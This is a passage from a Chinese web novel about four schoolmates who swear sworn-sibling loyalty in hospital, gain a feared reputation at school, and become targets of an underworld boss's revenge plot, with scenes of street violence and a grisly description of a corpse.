四人异口同声,誓言在寂静的病房里回荡:
“今日结为异性兄弟姐妹,从此祸福同担,生死与共!绝不出卖兄弟,绝不背信弃义!有福同享,有难同当!天地共鉴!”
誓毕,他们各自拿起窗台上属于自己的那根燃烧的烟,用力摁灭在窗台的瓷砖上,留下四个焦黑的印记。李辰浩看着那四根残烟,沉声道:“各自收好。日后,若有谁违背今日誓言,卖友求荣”他顿了顿,目光扫过每个人的脸,“就让他抽完自己剩下的这支烟,然后恩断义绝!”
四只手紧紧握在一起。这一刻,四个伤痕累累的少年少女,在弥漫着药水味的病房里,以烟为香,以血为盟,结下了此生不渝的兄弟情义。谁也不会想到,这四个名字,终将拧成一股令整个地下世界都为之侧目的、闻风丧胆的力量。
第十九章:敬畏的目光
四颗年轻的心还沉浸在“歃血为烟”的豪情里,病房门被推开了。门口站着一对中年夫妇。男人身材敦实,脸上挂着憨厚甚至有点局促的笑容,目光扫过四个半大孩子,最终落在自家女儿缠着绷带的胳膊上,嗓门洪亮却带着点调侃:“曦曦,这刚多大点儿啊,就学着人家拜上把子了?”话音未落,陈曦像受惊的小鹿般“啊”了一声,差点从床上弹起来:“爸?妈?!你们不是去邻市办事了吗?怎么跑这儿来了!”
陈曦的妈妈,一位气质温婉但此刻眉宇间满是焦急的妇人,根本顾不上回答,三步并作两步冲到女儿床边,双手小心翼翼地捧起她打着石膏的手臂,声音都颤了:“哎呦我的小祖宗!快让妈看看!伤得重不重?疼不疼啊?”那份心疼几乎要从眼睛里溢出来。
一旁站着的陈父清了清嗓子,故作严肃地提醒:“孩子她妈!光顾着心疼闺女了?你瞅瞅这几个小伙子,”他伸手指了指张霆琛、李辰浩和苏旭,“可都是为了护着咱们曦曦才躺这儿的!连句谢谢都没有?”语气里带着点责备,但更多的是对眼前几个少年的感激。
陈母这才如梦初醒,慌忙松开女儿的手,转向三个男孩,双手合十,脸上满是歉意和后怕:“哎呀!瞧我这脑子!对不住,对不住啊孩子们!真是多亏了你们!要不是你们几个挺身而出,我们家曦曦”她眼眶微红,声音哽咽了一下,随即又变得坚定,“你们放心!这事儿没完!你叔叔饶不了那帮混蛋,一定给你们讨个公道!”
张霆琛三人听得面面相觑,丈二和尚摸不着头脑,明明是陈曦仗义相助被卷进来,怎么摇身一变成了他们“英雄救美”了?苏旭脸上更是憋着古怪的表情,想笑又不敢笑。虽然满心疑惑,三人还是默契地挤出礼貌的微笑,连连摆手说“阿姨别客气”、“应该的”。
倒是苏旭,天生的自来熟加上脸皮厚如城墙,一听这话,腰杆瞬间挺得笔直,脸上堆起十二分的“英勇”,毫不客气地接过话茬:“阿姨您说得太对了!您是不知道当时那场面有多凶险!千钧一发啊!要不是我苏旭奋不顾身,一个箭步冲上去挡在曦姐前面,那后果不堪设想!”他边说边拍着胸脯,仿佛刚经历了一场史诗级战役。
站在他身后的张霆琛和李辰浩,嘴角不受控制地抽搐了一下,胃里一阵翻江倒海,差点把刚吃下去的早饭给呕出来。两人拼命低下头,肩膀可疑地耸动着,强忍着没笑出声。陈母却信以为真,看着苏旭的眼神充满了感激和慈爱,又是道谢又是自责没早点来,弄得苏旭更是飘飘然。
陈父看着这场面,无奈地摇摇头,嘴角却带着一丝不易察觉的笑意。他开口打断:“好了好了,孩子们刚折腾完,让他们歇歇。你们安心养伤,学校那边我帮你们请好假了。一会儿我安排人,给你们转到特护区去,那边有个两居室的大套间,清净,你们几个住一起也方便互相照应。”说完,他轻轻拉了拉还在絮叨的妻子,“走吧孩子妈,让孩子们自己待会儿,说说话。”
陈母意犹未尽地“啧”了一声,嗔怪地白了丈夫一眼:“就你知道心疼孩子!”转回头,又对张霆琛他们露出温柔的笑容,“孩子们,听叔叔的,好好养着,需要什么尽管说!我们先走了。”说完,才一步三回头地被丈夫半推着离开了病房。
门一关上,病房里的空气瞬间轻松下来。三道目光齐刷刷聚焦在陈曦脸上,无声地询问:这唱的是哪一出?
陈曦吐了吐粉嫩的舌头,做了个鬼脸,压低声音:“没啥,就是跟我爸妈说,是你们为了保护我,跟坏人英勇搏斗才受伤的呗!顺手给他们仨安了个‘护花使者’的名头!”
苏旭立刻露出一副“原来如此,深得我心”的了然表情,得意洋洋地晃着脑袋:“我说呢!阿姨看我的眼神都不一样了!”
张霆琛和李辰浩同时翻了个白眼,异口同声地鄙视道:“你又懂了?!”
张霆琛却微微蹙起眉头,盯着早已关上的房门方向,喃喃自语:“奇怪,我怎么觉得,好像在哪里见过陈叔叔?”声音很轻,沉浸在“英雄事迹”中的苏旭和正在得意解释的陈曦都没留意。
医院外,凉爽的夜风也没能完全吹散陈鼎脸上的凝重。他拉开车门,让妻子先坐进去,自己却没急着上车,而是望着住院楼星星点点的灯火,沉沉地叹了口气。
“孩子他妈,”他声音压得很低,带着一种复杂的情绪,“刚才站床边那个,瘦高个,话不多的孩子,你还记得吗?他是廷哥的小儿子,小时候在廷哥家,咱们还抱过他呢”他顿了顿,喉头有些发紧,“这孩子……命是真苦啊”
副驾驶上的陈母,闻言也深深叹了口气,眼角泛起泪光:“可不是嘛,那么小的孩子,就……唉。我看他眼神,比同龄人沉静太多了。以后就让曦曦多跟他处处吧,做个伴儿,这孩子身边太冷清了。”
陈鼎坐进驾驶座,发动车子,声音低沉却坚定:“我也是这个意思。还怕你觉得曦曦跟他走太近不好呢。”
陈母立刻嗔怪地拍了下丈夫的手臂:“你看看你!把我想成什么人了?廷哥对咱们家那是天大的恩情!没有他当年拉我们一把,哪有我们的今天?我们做人,不能忘本!更不能对不起廷哥留下的这点血脉!霆琛这孩子,以后就是咱半个儿子!”车子平稳地驶入夜色,留下两句沉甸甸的承诺。
张霆琛他们很快被转到了宽敞舒适的特护套房。豪华是豪华,但连日的折腾加上结拜的兴奋劲过去,巨大的疲惫感席卷而来,没聊几句,四个年轻人就东倒西歪地在各自的床上沉沉睡去。
第二天清晨,阳光透过百叶窗洒进来。张霆琛早早醒了,出去买了四个精致的檀木小盒回来。四个人庄重地把各自那截象征誓言、烧得只剩半截的香烟,小心翼翼地放进属于自己的盒子里。然后,像进行某种神圣仪式般,他们悄悄溜到医院后院,找到一棵枝繁叶茂的老槐树。
在树下挖了个深坑,将四个木盒并排放好,郑重地填上土。四个少年并排跪在微微隆起的小土包前,双手合十,闭着眼,用尽力气大声喊出他们的誓言:
“我们永远在一起!烟抽不完!路走不尽!”
声音在清晨空旷的后院里显得格外洪亮,甚至带着点回音。
喊完,一股热血涌上头顶的畅快感还没消散,四人一抬头,顿时僵住了,不远处,几个晨练的病人和路过的护士,正停下脚步,齐刷刷地用看外星人一样的眼神盯着他们!巨大的尴尬如同冷水浇头,刚才的豪情万丈瞬间变成了“社死”现场。四人脸“唰”地一下红到了耳根,连滚带爬地从地上起来,像四只受惊的兔子,头也不回地狼狈逃回了病房,只留下身后几道茫然又好笑的目光。
日子在养伤和插科打诨中飞快溜走,转眼一个星期过去。除了苏旭变着法子逗陈曦开心,偶尔被“伤员”陈曦用没受伤的手追打两下,倒也没什么大事。只是外面的世界并不平静,电视里、报纸上、街头巷尾的议论,铺天盖地都是关于本市派出所所长一家惨遭灭门的骇人新闻。警方悬赏通缉一个名叫“吴青”的**分子,称其为穷凶极恶的逃犯。
看到这些新闻,李辰浩的目光总会不由自主地飘向张霆琛,心底涌动着难以言喻的感激和沉重。他私下郑重地找苏旭和陈曦谈过,恳请他们暂时不要追问张霆琛任何过去的事情。“给他点空间,”李辰浩眼神认真,“等他想说的时候,自然会告诉我们。”苏旭虽然满心好奇,但也明白轻重,拍着胸脯保证;陈曦更是懂事地点点头。这份无声的理解
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和支持,让张霆琛心头暖融融的,对这位结**的细心又多了一份感激。
又过了两天,张霆琛和李辰浩身上的皮外伤好得差不多了,决定返校。陈曦的胳膊还需要复查观察。这时,苏旭自告奋勇地举手,一脸“舍我其谁”的悲壮:“老大,二哥!你们放心去吧!照顾曦姐……哦不,三姐的重任,就包在我苏旭身上了!保证伺候得妥妥帖帖!”
李辰浩和张霆琛对视一眼,瞬间了然,得,这电灯泡瓦数够亮,而且看样子还挺享受发光发热。两人憋着笑,心照不宣地迅速收拾好东西,逃离了这个弥漫着“青春酸臭味”的病房。
去学校的路上,阳光正好。李辰浩收起玩笑的表情,认真地对张霆琛说:“霆琛,等苏旭出了院,咱们哥几个真得好好练练了。不说别的,起码得有自保的本事。这次太悬了。”
张霆琛深以为然地点点头,眼神变得锐利:“嗯,大哥,我知道了。”他握了握拳,感受着掌心的力量。
刚踏进久违的校园,一种异样的气氛就扑面而来。走廊里、操场上,原本喧闹的学生们在看到他们时,声音不自觉地低了下去,无数道目光像探照灯一样聚焦在他们身上,充满了好奇、敬畏,甚至是一丝,惧怕?窃窃私语如同潮水般在身后蔓延。
张霆琛刚走到自己班级门口,一个熟悉又带着点谄媚的身影就“嗖”地窜了过来,是许盛。他手里紧紧攥着一个厚厚的信封,脸上堆满了近乎讨好的笑容,腰都不自觉地弯了几分:“琛哥!浩哥!你们可算回来了!以前都是我有眼不识泰山,得罪了琛哥!您大人有大量,千万别跟我这种小人物一般见识!”他把信封不由分说地塞进张霆琛手里,声音带着点抖,“这是您的钱,一分不少!您点点?”
张霆琛看着眼前判若两人的许盛,有些错愕,但很快恢复了平静。他随手将信封揣进裤兜,语气平淡却带着一种无形的距离感:“过去的事,算了。”简简单单四个字,却让许盛如蒙大赦,长长舒了口气,悬了一个多星期的心终于落回了肚子里,后背的冷汗都凉飕飕的。他刚想再套套近乎,拉近点关系。
“哼!真不要脸!”一声清脆的娇叱打断了他。只见曹婷像一阵风似的冲过来,毫不客气地一把将碍事的许盛推开,她没理会涨红了脸的许盛,目光关切地在张霆琛和李辰浩身上扫视:“伤都好了?看着精神头不错!哎,曦曦呢?她怎么没来?”语气熟稔又带着大姐头的爽利。
张霆琛简单解释了陈曦的情况,然后忍不住问出心中的疑惑:“婷姐,大家这是怎么了?感觉怪怪的。”
曹婷闻言,夸张地伸出手摸了摸张霆琛的额头,一脸惊奇:“没发烧啊!真不知道假不知道?”她看着张霆琛和李辰浩同样茫然的表情,才确信他们是真的不知情。
曹婷身体前倾,压低声音,带着难以置信和八卦的兴奋:“我还想问你呢!张霆琛,你藏得够深啊!你是怎么认识慕容景云的?!那天他带着那么一大帮人,开着清一色的黑车冲进学校替你出头,把徐坤那伙人吓得屁滚尿流!那场面,整个学校都震懵了!”她双眼放光,仿佛在描述一个传奇,“现在学校里都传疯了!说你是慕容景云的表弟!徐坤直接吓得退学了!现在大家都说,咱们学校的老大,就是你张霆琛了!”
表弟?老大?张霆琛和李辰浩听得目瞪口呆。这个结果完全超出了他们的预料。张霆琛心头先是掠过一丝荒谬,随即涌起的是一股巨大的轻松和庆幸,至少,从今往后,在这个校园里,应该不会再有不长眼的麻烦主动找上门来了。这层意外的“虎皮”,虽然穿得有点莫名其妙,但似乎还挺好用?他和李辰浩交换了一个眼神,都看到了对方眼中那一抹无奈又带着点好笑的神色。
第二十章:薛妈的警告
刚放学,李辰浩一眼就捕捉到人群中那个熟悉的身影,三步并作两步冲过去,一把揽住张霆琛的肩膀,声音里是压不住的得意:“阿琛!赵子睿那小子,今天跟缩头缩脑跑到咱班门口给我道歉来了!嘿,!”
张霆琛嘴角动了动,却没接话。两人沉默地蹬着自行车,车轮碾过柏油路发出单调的沙沙声,一路无话,只有傍晚的风拂过耳畔。
推开那扇熟悉的院门,家的气息扑面而来。薛妈系着素净的围裙,脸上依旧是那副能融化寒冰的慈祥笑容,眼角的皱纹都透着暖意。“回来啦?快洗手,饭马上就好。”她温声招呼着,厨房里飘出诱人的饭菜香。张霆琛应了一声,径直走向浴室,留下李辰浩在客厅。
水声哗哗响起,隔绝了外面的世界。客厅里,薛妈脸上的暖意如同潮水般褪去,瞬间结冰。她放下手中的菜,转过身,那双总是带笑的眼睛此刻像淬了寒冰的刀锋,直直刺向李辰浩。
“辰浩。”她的声音不高,甚至算得上轻柔,却带着一种令人骨髓发冷的重量,“这是最后一次。你再敢拖累小琛一次”她微微倾身,阴影笼罩下来,“我会让你直接消失。干干净净,不留痕迹。哪怕小琛会因此恨我一辈子。”
李辰浩只觉得一股寒气从脚底板窜上天灵盖,激灵灵打了个寒颤,汗**倒竖。他几乎是条件反射地挺直背脊,声音带着不易察觉的颤抖:“薛、薛妈!我保证!绝对没有下次了!我发誓!”他是真的怕,怕极了眼前这个笑容可掬的妇人。当年道上令人闻风丧胆的“罗刹姐”,别说他一个半大孩子,就是那些刀口舔血的狠角色,又有几个不怵?他感觉自己像是被猛兽盯上的兔子,连大气都不敢喘。
张霆琛带着一身清爽的水汽出来时,客厅里已经恢复了温馨的常态。饭桌上,热腾腾的三菜一汤散发着家的味道。张霆琛扒拉了几口饭,放下筷子,看向薛妈,眼神带着少年人的热切:“薛妈,给我们找个训练场吧?我和辰浩想练练身手,以后也好有点自保的本事。”
话音未落,李辰浩就感觉两道冰冷锐利的目光像针一样扎在自己身上。他脖子一缩,手里的筷子差点掉桌上,背脊瞬间绷紧,冷汗又冒了出来。幸好,薛妈这次只是警告性地瞪了他一眼,没再说什么,反而转向张霆琛,语气恢复了平日的温和,却带着不容置疑的底线:“练可以,但记住,别惹是生非,安安分分。”
“太好了!谢谢薛妈!”张霆琛眼睛一亮,笑容灿烂得像个孩子。只有旁边的李辰浩,偷偷抹了把额角的冷汗,心里哀嚎:我的妈呀,吓死我了!以后打死我也不乱出主意了,这位煞神真发起火来,怕不是要把我剁了包饺子……
第二天清晨,阳光明媚。两人骑车穿过林荫道,快到校门口时,却意外地看到了两个熟悉的身影——苏旭和陈曦。苏旭眼尖,立刻咧开嘴,用力挥舞着手臂,扯着嗓子大喊:“大哥!二哥!这儿呢!”
李辰浩蹬快几步上前,打量着两人:“三妹?身体都好了?怎么不多休息几天?”
张霆琛的目光却敏锐地捕捉到苏旭的小动作,这家伙的手指正偷偷勾着陈曦的指尖,而陈曦则像受惊的小鹿,满脸通红地使劲想把手抽回去,耳根都染上了绯色。张霆琛忍不住促狭地咳嗽一声,嘴角勾起揶揄的弧度:“哟呵,二位金童玉女,这是用爱情的力量把病魔都赶跑啦?效果显著啊!”
陈曦的脸“腾”地一下红透了,像熟透的苹果,恨不得找个地缝钻进去。苏旭可不管那么多,大大方方地一把搂住陈曦,嘿嘿傻笑着宣布:“大哥二哥!我们俩,在一起啦!本来想在医院多腻歪几天,可我妈在家没人照顾不行。前两天我爸回来顶了班,昨天他又走了,我得回家。但我又舍不得曦曦,干脆!一起上学!”
他说话时,眼睛亮晶晶的,嘴角都快咧到耳根了。张霆琛和李辰浩对视一眼,都为兄弟高兴。可陈曦哪里受得了这当众“表白”,羞得捂着脸,转身就往学校里跑。
“哎!媳妇!你等等我啊!”苏旭哪肯罢休,拔腿就追,那大嗓门在清晨的校园门口格外响亮。张霆琛和李辰浩看着这活宝一幕,忍不住哈哈大笑起来。
刚进教室门,就看到更热闹的一幕:苏旭正可怜巴巴地蹲在陈曦座位旁,陈曦则羞恼地用小拳头捶着他肩膀:“死东西!谁是你媳妇!谁啊谁啊!再胡说八道我撕了你的嘴!”她这娇嗔的模样,非但没起到威慑作用,反而引得全班哄堂大笑。最后还是苏旭涎着脸,跟张霆琛借了一百块,课间跑出去买了一大堆陈曦爱吃的零食点心,才勉强哄得这位“大小姐”消了气,只是小脸依旧红扑扑的。
放学铃声响起,人流涌出校门。张霆琛推着车,对旁边的苏旭说:“老三,跟我们去训练场练练?薛妈给找的地方。”
苏旭一听,脑袋摇得像拨浪鼓:“别别别,大哥!真不行!我哪有时间啊,还得回家照顾我妈呢。再说了,这年头练那玩意儿干嘛?多累啊!有那功夫我陪曦曦不好吗?”他搂着旁边依旧有点害羞的陈曦,一脸“人生赢家”的满足。张霆琛好说歹说,苏旭就是铁了心不干,他也只好无奈作罢。
四人分道扬镳。张霆琛和李辰浩照例一起回家。而陈曦,居然红着脸小声说要跟苏旭回家看看家长?!
“啥?!”张霆琛和李辰浩同时一个趔趄,差点没扶稳自行车,眼珠子都快瞪出来了。这进展速度,坐火箭也没这么快吧?!两人看着苏旭得意洋洋、陈曦羞羞答答远去的背影,感觉自己的世界观受到了前所未有的冲
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击,这社会,也太“前卫”了!不过,在替兄弟高兴之余,一丝不易察觉的阴霾悄然爬上心头,仿佛预感到平静的日子即将被打破。
影队刺杀失败的余波仍在扩散。逃出生天的吴青,如同丧家之犬,直接投靠了慕容廷的死对头刘文殊。起初,慕容廷并未将这个跳梁小丑放在心上。然而,急于表忠心的吴青,却献上了一份致命的“投名状”,他将自己对张霆琛身份那半真半假的猜测,连同张霆琛对慕容廷构成的“潜在威胁”,一股脑地倒给了刘文殊。
这消息如同一块投入死水的石头。刘文殊本在犹豫,恰在此时,他又收到了另一个关键情报:慕容廷的儿子慕容景云,竟然亲自下场帮张霆琛打架!这条消息如同火星溅入油锅,瞬间点燃了刘文殊眼中的疯狂火焰。
“好,好得很!”病床上,形容枯槁的刘文殊发出一声嘶哑的冷笑,眼窝深陷,里面燃烧着仇恨与病态交织的火焰。弟弟刘文松的死,是他心中永不愈合的溃烂伤口。事发当天,他派人去收尸,却连一片衣角都没找到。正当他焦灼如焚时,第二天,一个冰冷的、没有任何标记的金属箱子送到了他的病榻前。
他永远忘不了打开箱子的那一刻,浓重的血腥气和防腐剂的味道混合着扑鼻而来。里面是他的弟弟。或者说,是被残忍分解得面目全非、肢体错位、只能勉强拼凑出一个人形轮廓的肉块!那颗他熟悉的头颅,被扭曲地放置在最上面,双眼圆睁,凝固着最后的恐惧与不甘。那一刻,刘文殊的世界崩塌了,他呕出一口鲜血,当场昏厥,整整一周才从鬼门关挣扎回来,却已形销骨立,只剩下一副被仇恨驱动的躯壳。
吴青的情报和慕容景云的出手,就像两把钥匙,彻底打开了刘文殊复仇,他枯瘦的手指神经质地敲打着床沿,浑浊的眼中闪过一丝毒蛇般的精光:“鬼发。”
一个如同影子般悄无声息的身影从病房角落的人走出,微微躬身。“这件事,交给你。”刘文殊的声音干涩而冰冷,“目标,张霆琛。要活的。”他顿了顿,喘息了几下,那小子身边,恐怕有慕容廷安排的‘暗桩’。你去,给我盯紧了,摸清楚。时机成熟再动手。”他猛地盯住鬼发,一字一句,带着刻骨的怨毒,“记住我要活的!他是我向慕容廷讨还血债最重要的筹码!”
鬼发没有任何多余的动作,只是微微颔首,身影再次悄无声息地融入了阴影之中,仿佛从未出现过。病房里只剩下刘文殊粗重而压抑的呼吸声,以及那弥漫不散的、冰冷的死亡气息。他知道这步棋极其凶险,几乎等同于向慕容廷宣战,但弟弟支离破碎的尸体夜夜在他噩梦中重现,早已将他逼入了绝境。他不在乎了,哪怕最终是灭亡,他也要拉着慕容廷最在乎的东西一起下地狱!
第二十一章:苏旭的改变
夕阳的余晖把并肩的影子拉得很长,苏旭牵着陈曦的手,一路的欢声笑语仿佛能驱散所有阴霾。快到家门口时,陈曦的手指忽然收紧,指尖微凉,她仰起脸,清澈的眼眸里带着一丝不易察觉的慌乱:“苏旭,你妈妈要是不喜欢我怎么办?”
苏旭停下脚步,胸膛拍得砰砰响,笑容灿烂得晃眼:“瞎操心!我妈肯定喜欢你!再说了,”他促狭地眨眨眼,“丑媳妇总要见公婆的嘛!”
“死东西!”陈曦脸颊飞红,像被踩了尾巴的猫,手指精准地掐在他胳膊软肉上,“我很丑吗?丑你别要我!我走了!”说完,她作势就要挣脱他的手,气鼓鼓地转身。
“哎哟喂,老婆我错了!”苏旭眼疾手快地一把捞回她,把人圈进怀里,下巴蹭着她发顶,声音带着讨好的笑意,“我嘴欠!我是那癞**,走了狗屎运才吃到你这块天鹅肉,美得我都不会说人话了!”
陈曦噗嗤一声笑了出来,佯怒地捶了他一下:“油嘴滑舌!快走啦!”那点小别扭瞬间烟消云散,两人又挨挨挤挤地往前走。
站在那扇略显陈旧的门前,陈曦深吸了一口气,空气中似乎已经隐隐飘来一丝若有若无的苦涩药味。苏旭掏出钥匙,门轴发出轻微的“吱呀”声,一股浓重而熟悉的中药味瞬间涌了出来,像一张无形的网,裹住了来客。
屋内光线有些暗。陈曦的目光越过小小的客厅,落在里屋的床上,一位极其瘦削憔悴的妇人正挣扎着想坐起来。
“妈!您别动!”苏旭一个箭步冲过去,像护着易碎的珍宝,小心翼翼地扶住母亲单薄的肩膀。他转过头,声音带着不易察觉的紧绷:“妈,这是我同学,陈曦。”
“阿姨好。”陈曦连忙上前一步,声音轻软。苏母努力扯出一个笑容,那笑容却牵动了脆弱的神经,引发一阵撕心裂肺的咳嗽,瘦弱的身体剧烈地颤抖着。
“妈!妈!您吃药了吗?怎么咳得这么厉害?”苏旭的声音瞬间拔高,带着浓重的焦急,手忙脚乱地抚着母亲的背。
苏母好不容易缓过气,无力地摆摆手,喘息着说:“没事,你这孩子,还不快让你同学坐”她转向陈曦,浑浊的眼睛里带着歉意和一丝探究,“丫头,小旭这孩子,从小****躁躁的,没少给你添麻烦吧?”
“没有没有!”陈曦连连摆手,声音真诚,“小旭他人特别好,特别照顾人,我们好多同学都受他照顾呢。”苏母脸上终于浮现出一丝真切的、带着疲惫的笑意:“这丫头,真会说话”她像是想起什么,眼睛亮了一下,“来来,我今儿做了点饭,咱们一块儿吃。”
“妈!”苏旭的眉头立刻拧紧了,“医生说了您不能劳累!以后这些事都让我来!”语气是心疼的责备。
苏母却微微倾身,用只有母子俩能听见的气声说:“傻孩子,在姑娘面前妈能让你下厨吗?”随即又对着陈曦,努力让自己的声音听起来轻松些,“小旭在家啊,可没少念叨你。”
苏旭挠了挠后脑勺,嘿嘿傻笑一声:“妈!快吃饭吧!”陈曦脸上微热,赶紧起身帮忙拿碗筷,却被苏旭轻轻按住肩膀:“你坐着,我来。”他动作麻利地钻进小小的厨房,不一会儿就把一张折叠小桌稳稳地架在了母亲的床边。
饭菜简单,却盛满了心意。饭桌上,苏母强打着精神,温和地询问着陈曦的学习、生活,话语里透着长辈的关切,让气氛渐渐融洽。然而,当碗筷放下,苏母的目光在苏旭和陈曦之间停留片刻,那温和中便掺杂了沉重的托付:“丫头,阿姨这身子骨,怕是撑不了几年了,听说你们还有几个好朋友,以后小旭就多靠你们费心了…”
“妈!”苏旭像被针扎了一样猛地抬头,声音带着压抑不住的怒气和更深的不安,“您又胡说!我们说好了要治好您的病!以后不准再说这种话!”他的眼眶瞬间红了。
苏母怔了一下,脸上掠过深切的忧伤,随即又化作一个苦涩的、安抚的笑容,对着陈曦说:“你看他这傻样”桌上三人,都努力地扯开嘴角,那笑声却像浸了黄连,干涩、沉重,没有一丝欢愉。
一顿饭吃得五味杂陈。饭后,陈曦识趣地起身告辞。苏旭送她到门口,夜风微凉。陈曦忽然转身,用力地抱住了苏旭,脸颊埋在他肩窝,声音闷闷的,带着哽咽:“苏旭,对不起,我不知道你家里是这样的,我以前还说你懦弱,其实你比谁都坚强!”
苏旭的身体微微一僵,随即更紧地回抱住她,手掌在她脑后轻轻摩挲,声音低沉却坚定:“傻瓜,都过去了。我送你去车站,别瞎想。”
两人默默走在昏黄的路灯下,刚转过一个街角,阴影里就晃出三个吊儿郎当的身影,为首的那个看清是苏旭,立刻怪笑起来:“呦呵!这不是小旭子吗?行啊!才多大点儿就学会泡妞带回家了?啧啧,你爹都跟野女人跑了,你妈躺床上等死呢,你拿什么养小女朋友啊?嗯?”
“我爸爸没跟别的女人!我妈会好起来的!!!”苏旭的怒吼像平地惊雷,几乎在话音落下的同时,他像一头被彻底激怒的小兽,攥紧的拳头带着全身的力气狠狠砸在说话那人的鼻梁上!泪水在他通红的眼眶里疯狂打转。
那混混猝不及防,被打得一个趔趄,鼻血瞬间涌出。他捂着鼻子,又惊又怒:“草!**敢打我?!给我往死里揍他!”另外两人立刻扑了上来。苏旭刚养好伤,本就瘦弱,双拳难敌四手,瞬间就被雨点般的拳脚淹没,只能狼狈地蜷缩着护住头脸。
“别打了!你们住手!”陈曦急得大喊,冲上去想拉开一个混混,可她受伤的胳膊使不上劲,被对方粗暴地一甩,整个人重重摔倒在地,发出一声痛呼。
“陈曦!”苏旭目眦欲裂,不知哪来的力气猛地掀开压在身上的混混,连滚带爬扑到陈曦身边,“你怎么样?摔哪儿了?!”他声音颤抖,布满灰尘和青紫的脸上,那双布满血丝的眼睛里,是刻骨的愤怒,更是深不见底的无力感。从小因为破碎的家庭受尽欺凌,朋友和恋人是他灰暗世界里唯一的光。此刻,看着陈曦痛苦的表情,那光仿佛也要熄灭了,他恨透了自己的弱小!
“你们几个小崽子!又皮痒了是不是?!”一声洪亮的怒喝如同炸雷般响起。一个身材魁梧的中年汉子大步流星地走来。
“东叔来了,快跑”混混们一见来人,顿时像老鼠见了猫,连狠话都不敢撂,互相使了个眼色,扶起流鼻血的同伙,狼狈地溜走了。
被称作东叔的男人快步上前,蹲下身,粗糙的大手拍了拍苏旭的肩膀,看着他脸上的伤和陈曦狼狈的样子,重重叹了口气:“小旭啊,以后他们再欺负你,告诉叔!叔找他们爹妈去!简直反了天了!伤着没?要紧不?”
苏旭张了张嘴,话还没出口,陈曦已经忍着痛抢先说道:“谢谢东叔!我们没事。”她挣扎着站起来,拉了拉苏旭的胳膊,“苏旭,我们走吧。”苏旭沉默地跟着起身,拍了拍身上的尘土,低声对东叔说了句“谢谢叔”,便扶着陈曦,一瘸一拐地继续往车站走去。东叔望着他们相依偎的背影,在路灯下投下长长的、孤单的影子,无奈地摇头叹息:“唉,可怜的孩子”
站台上,夜风更冷了。苏旭低着头,一言不发,像一尊沉默的雕塑。陈曦看着他紧抿的嘴唇和绷紧的下颌线,知道他心里憋着巨大的痛苦和**。她没有再说话,只是默默陪着他。
公交车远远亮起了灯。车快进站时,陈曦忽然踮起脚尖,飞快地在苏旭青肿的嘴角印下一个轻柔的吻,她的眼睛亮晶晶的,语气异常坚定:“我走啦!苏旭,你要振作!你很坚强!比我想象的还要坚强!相信自己,一定可以的!”说完,她头也不回地跑上了车。
车门关闭,引擎轰鸣着驶离。站台上只剩下苏旭一人。当那辆载着陈曦的车彻底消失在夜色里,苏旭一直强撑着的脊梁仿佛瞬间垮塌。他猛地转身,额头狠狠抵在冰冷的站牌柱子上,压抑了一整晚、压抑了无数个日夜的**、愤怒、悲伤和绝望,如同决堤的洪水,伴随着一声撕心裂肺的嘶吼冲了出来:“啊!!!我没用啊!!!”滚烫的泪水汹涌而出,混合着脸上的尘土和血迹,肆意流淌。他像个迷途的孩子,哭得浑身颤抖,肩膀剧烈地耸动,完全不顾周围等车人诧异的目光。那哭声,是少年被现实碾碎自尊后最痛苦的哀鸣。
不知过了多久,哭声渐渐低哑,只剩下压抑的抽噎。苏旭用袖子狠狠抹了一把脸,掏出那个老旧的手机,屏幕的光映着他红肿却异常决绝的眼睛。他拨通了张霆琛的号码。
“喂?小旭?”张霆琛的声音传来。苏旭深吸一口气,声音还带着浓重的鼻音,却异常低沉清晰:“二哥,你说的那个训练场在哪儿?”
电话那头沉默了一秒,随即传来张霆琛了然的声音:“成了!还在收拾,明晚就能用!”苏旭握着手机的手指关节发白,他停顿了一下,像是用尽了全
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身力气,一字一句地说:“二哥,以后你教我锻炼身体吧。教我变强。”
“嗯?”张霆琛敏锐地捕捉到了那压抑的哭腔和不同寻常的决心,“小旭?你是不是让人欺负了?!”苏旭猛地吸了吸鼻子,努力让自己的声音听起来轻松一点,甚至带上一点刻意为之的“想通”后的释然:“没事儿!哥就是想通了,想好好练练身体!”
电话那头似乎传来一声轻笑,张霆琛的声音插了进来“行嘞!明天晚上哥带你去!不过话说前头,可苦得很哦!”
“我知道了。”苏旭没有犹豫,说完便挂了电话。他攥紧了手机,指节因为用力而泛白,眼神却像淬了火的钢,在心里无声地呐喊:我一定要变强!一定!
电话那头,李辰浩看着张霆琛放下手机:“小旭怎么了?”张霆琛耸耸肩,脸上带着一丝玩味和了然:“不知道这小子受啥刺激了,突然开窍,想跟咱们一起练了。”
李辰浩了然地点点头,嘴角也勾起一抹笑:“想通了好。估计是想好好保护他媳妇儿了。”两人相视一笑,一切尽在不言中。
清晨的阳光透过窗户。薛妈把热腾腾的早饭端上桌,对张霆琛说:“你要的训练房弄好了,地方是小了点,出门五百米那个旧塔楼里,但你要的家伙什儿都备齐了,今晚就能用。”张霆琛眼睛一亮,笑得像只偷腥的猫:“谢谢薛妈!您最好了!”薛妈宠溺地揉了揉他的头发:“小滑头,就你嘴甜!”
两人吃完饭刚推车要走,薛妈叫住了张霆琛:“小琛,陪练给你找好了,你认识的。规矩记着,晚上随便去练”她又转向李辰浩,语气不容置喙:“你,周一、周四、周日,不许去训练房,其他时间随你。”
李辰浩一愣,心里直犯嘀咕:这又是唱的哪一出?张霆琛刚想开口,薛妈一个眼风扫过来:“没商量!”两人只得乖乖应了声“哦”,跨上自行车。
路上,李辰浩还在琢磨薛妈的禁令,但想到这位“煞神”的作风,最终还是决定不多想,蹬快几步追上了张霆琛。
教室里,苏旭已经在了,正和陈曦头碰头地说着悄悄话。苏旭时不时飞快地在陈曦耳边说句什么,总能精准地引来陈曦羞恼的“九阴白骨爪”伺候,两人闹成一团。
张霆琛踱步过去,敲了敲他们的桌子,一本正经:“喂喂,注意影响啊两位!老师快到了,再腻乎小心被‘请喝茶’!”
苏旭和陈曦同时丢给他一个白眼,这才不情不愿地分开。张霆琛刚回到座位,老师的身影就出现在了门口。
张霆琛上课时脊背挺得笔直,笔记记得飞快,专注的样子让各科老师都颇为欣赏。不知不觉到了中午,他刚合上笔记本,准备招呼苏旭去吃饭,却发现那家伙已经趴在桌上,睡得人事不省。
“唉…”张霆琛无奈地叹了口气,转向旁边的陈曦,“我说弟妹,你这‘领导’怎么当的?他这样不学习,以后可咋办?就不能好好管管?”
陈曦立刻挺直腰板,一副“包在我身上”的表情:“得令!”只见她深吸一口气,凑到苏旭耳边,猛地揪住他的耳朵,用尽丹田之气爆发出震耳欲聋的河东狮吼:“苏旭,起床吃饭啦!”
